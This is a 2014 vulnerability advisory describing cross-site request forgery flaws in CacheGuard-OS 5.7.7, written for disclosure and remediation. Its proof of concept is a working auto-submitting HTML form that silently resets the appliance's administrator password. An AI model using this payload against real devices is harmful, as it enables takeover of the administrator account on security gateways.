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CacheGuard-OS 5.7.7 Cross Site Request Forgery

CacheGuard-OS 5.7.7 Cross Site Request Forgery
Posted Sep 10, 2014
Authored by William Costa

CacheGuard-OS version 5.7.7 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
MD5 | 5de90446ee21330e1c7dfafb04e8b2a3

CacheGuard-OS 5.7.7 Cross Site Request Forgery

Change Mirror Download
I. VULNERABILITY

-------------------------

CSRF vulnerabilities in CacheGuard-OS v5.7.7

II. BACKGROUND

-------------------------

CacheGuard is an All-in-One Web Security Gateway providing firewall,
web antivirus, caching, compression, URL filtering, proxy, high
availability, content filtering, bandwidth saving, bandwidth shaping,
Quality of Service and more.



III. DESCRIPTION

-------------------------

Has been detected a CSRF vulnerability in CacheGuard in
"/gui/password-wadmin.apl"



IV. PROOF OF CONCEPT

-------------------------

The application does not validate the parameter any csrf_token
"/gui/password-wadmin.apl".



<html>



<body onload="CSRF.submit();">

<br>

<br>



<form id="CSRF" action="https://10.200.210.123:8090/gui/password-wadmin.apl"
method="post" name="CSRF">

<input name="password1" value="admin@1234" type=hidden> </input>

<input name="password2" value="admin@1234" type=hidden> </input>

</form>



</body>

</html>



V. BUSINESS IMPACT

-------------------------



CSRF allow the execution attackers to modify settings or change
password of user administrator in CacheGuard, because this functions
are not protected by CSRF-Tokens.



VI. REQUIREMENTS

-----------------------

An Attacker needs to know the IP of the device.

An Administrator needs an authenticated connection to the device.



VII. SYSTEMS AFFECTED

-------------------------

Try CacheGuard-OS v5.7.7



VIII. SOLUTION

-------------------------

All functions must be protected by CSRF-Tokens.

http://www.kb.cert.org/vuls/id/241508

By William Costa
william.costa no spam gmail.com


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